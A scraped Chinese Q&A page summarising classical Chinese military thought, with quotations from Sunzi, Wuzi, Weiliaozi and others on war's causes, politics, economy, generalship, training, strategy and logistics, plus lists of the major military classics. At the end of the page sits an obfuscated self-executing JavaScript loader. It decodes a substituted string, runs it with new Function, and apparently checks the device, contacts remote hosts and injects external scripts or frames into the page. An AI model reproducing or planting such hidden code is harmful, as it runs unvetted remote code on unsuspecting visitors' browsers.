推荐回答(3个)
(一)战争的起源、性质和作用1.战争的起源《吴子》认为:“一曰争名,二曰争利,三曰积恶,四曰内乱,五曰因饥。”就是说引起战争的原因有5个方面:一是争夺霸主地位;二是争夺土地、财产和人口;三是积恨深怨;四是国家发生了内乱;五是国家发生了饥荒。2.战争的性质《吴子》指出:“一曰义兵,二曰强兵,三曰刚兵,四曰暴兵,五曰逆兵。”即禁暴除乱、拯救危难的军队叫义兵;仗恃兵强、征伐列国的军队叫强兵;因君王震怒而出师的军队叫刚兵;背理贪利的军队叫暴兵;不顾国乱民疲,兴师伐众而出征的军队叫逆兵。3、战争的作用《司马法》指出:“是故杀人安人,杀之可也;攻其国爱其民,攻之可也;以战止战,虽战可也。”《尉缭子》则明确指出:“故兵者,所以诛暴乱,禁不义也。”(二)战争与政治《孙子兵法》指出:“用兵者,修道而保法,故能为胜败之政。”《尉缭子》指出:“兵者,以武为植,以文为种;武为表,文为里。”《淮南子•兵略训》指出:“兵之胜败,本在于政……为存政者,虽小必存;为亡政者,虽大必亡。”《司马法》指出:“以义治之谓正,正不获意则权,权出于战争,不出于中人。”意思是说采用符合正义的措施治理国家,这是正常的方法。用正常的方法达不到目的就要采取特殊的手段, 特殊手段是以战争方式表达出来的,而不是以和平方式表现出来。(三)战争与经济经济是战争的物质基础,战争是以巨大的物质消耗为代价的,这一点我国古代军事家认识是比较深刻的。《孙子兵法》指出:“凡用兵之法,驰车千驷,革车千乘,带甲十万,千里馈粮;则内外之费,宾客之用,胶漆之材,车甲之奉,日费千金,然后十万之师举矣。”因此,又指出“善用兵者,役不再籍,粮不三载,取用于国,因粮于敌,故军食可足也”。春秋时期的管仲也曾较深刻地论述:“地之守在城,城之守在兵,兵之守在人,人之守在粟。”因此,他明确指出:“一期之师,十年之蓄积律;一战之费,累代之攻尽。”(四)战争与主观指导《孙子兵法》明确指出:“因利而制权……故兵无常势,水无常形,能因敌变化而取胜者,谓之神。”因为“兵无常势”,指挥者必须不断根据敌情、我情的变化修正主观指导,采取克敌制胜的有效手段。《草庐经略》中则说得更明确:“夫敌情叵测,常胜之家必先翻敌之情也。其动其静,其强其弱,其治其乱,其严其懈,虚虚实实,进进退退,变态万状,烛照数计,或谋虑潜藏而直钩其隐状,或事机未发而预揣其必然。盖两军对垒,胜负攸悬,一或不审,所失匪细。必观其将帅察其才,因其形而用其权;凡军心之趋向,理势之安危,战守之机宜,事局之究竟,算无遗漏,所谓运筹帷幄,决胜千里也。”掌握客观规律,充分发挥主观指导作用,就能赢得胜利。(五)将帅修养古代军事家特别重视将帅在战争中的地位和作用,认为“知兵之将,民之司命,国家安危之主也”。为此,提出了将帅修养的标准。《孙子兵法》强调:“将者,智、信、仁、勇、严也。”《吴子》兵法中则提出,“总文武者,军之将也”。故将之所慎者五:“一曰理,二曰备,三曰果,四曰戒,五曰约。”《武经总要•选将》提出考核将帅的“九验”:“远使之以观其忠,近使之以观其恭,繁使之以观其能,卒然问焉以观其智,急与之以观其信,委之以货财以观其仁,告之以危以观其节,醉之以酒以观其态,杂之以处以观其色。”(六)治军一是法规法令的建设与实施。《尉缭子》中设有《重刑令》《伍制令》《勒卒令》《经卒令》和《兵令》等,就是为了 “明刑罚,正功赏”,“鼓之,前如雷霆,动如风雨,莫敢当其前,莫敢蹑其后”,使军队“方亦胜,圆亦胜,错邪亦胜,临险亦胜”。二是教练。《吴子》指出:“故用兵之法,教戒为先。一人学战,教成十人。十人学战,教成百人。百人学战,教成千人。千人学战,教成万人。万人学战,教成三军。”《兵有略丛言提纲》指出:“不教则不明,不练则不习。”在训练方法上主张“教得其道”,“练心”“练胆”“练艺”。(七)战略战术古代兵书中关于战争谋略与战术的论述,有许多是很有见地的。如“上兵伐谋”,“以全争于天下”的全胜论;“不战而屈人之兵”的威慑论;“度势”“料势”“为势”的“胜可为”论;“先人有夺人之心”的“兵贵先”的先发制胜论;“后人发,先人至”的后发制胜论;“制人者,握权也;见制于人者,制命也”“致人而不致于人”的掌握战争主动权论;“战势不过奇正,奇正之变,不正胜穷也”“善用兵者,无不正,无不奇,使敌莫测”的奇正相变论;“我专而敌分,我专为一,敌分为十,是以十攻其一也”的“以众击寡”论;“避其锐气,击其惰归”“以治待乱,以静待哗”“以近待远,以逸待劳,以饱待饥”“无邀正正之旗,勿击堂堂之阵”的“治气”“治心”“治力”“治变”的四治论等等。(八)战争保障1.物质储备和后方补给《孙子兵法•军争》指出:“军无辎重则亡,无粮食则亡,无委积则亡。”《六韬・ 军略》则说:“三军用备,主将何忧。”因此,古代军事思想家提出:“取用于国,因粮于敌。”2.地形《孙子兵法•地形》指出:“夫地形者,兵之助也。” “知天知地,胜乃不穷。”《武 经总要•九地》提出:“夫顿兵之道有地利焉。我先据胜地,则敌不能以胜我;敌先居胜地,则我不能以制敌。”3.用间《孙子兵法•用间》提出:“三军之事,莫亲于间。”“先知者,不可取于鬼神,不可象于事,不可验于度,必取于人,知敌之情者也。”又说:“无所不用间也。”《行军须知•用间》则说:“间谍之法,于兵家尤为切要也。”
中国古代十大兵书,主要包括:孙子兵法、孙膑兵法、吴子、六韬、尉缭子、司马法、太白阴经、虎钤经、纪效新书、练兵实纪十大兵书。
其中《孙子兵法》是中国现存最早的兵书。其内容博大精深,思想精邃富赡,逻辑缜密严谨。作者为春秋末年的齐国人孙武(字长卿)。今存13篇。
孙子兵法,孙膑兵法,三十六计,六韬,三略,鬼谷子,百战奇略,吴子
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();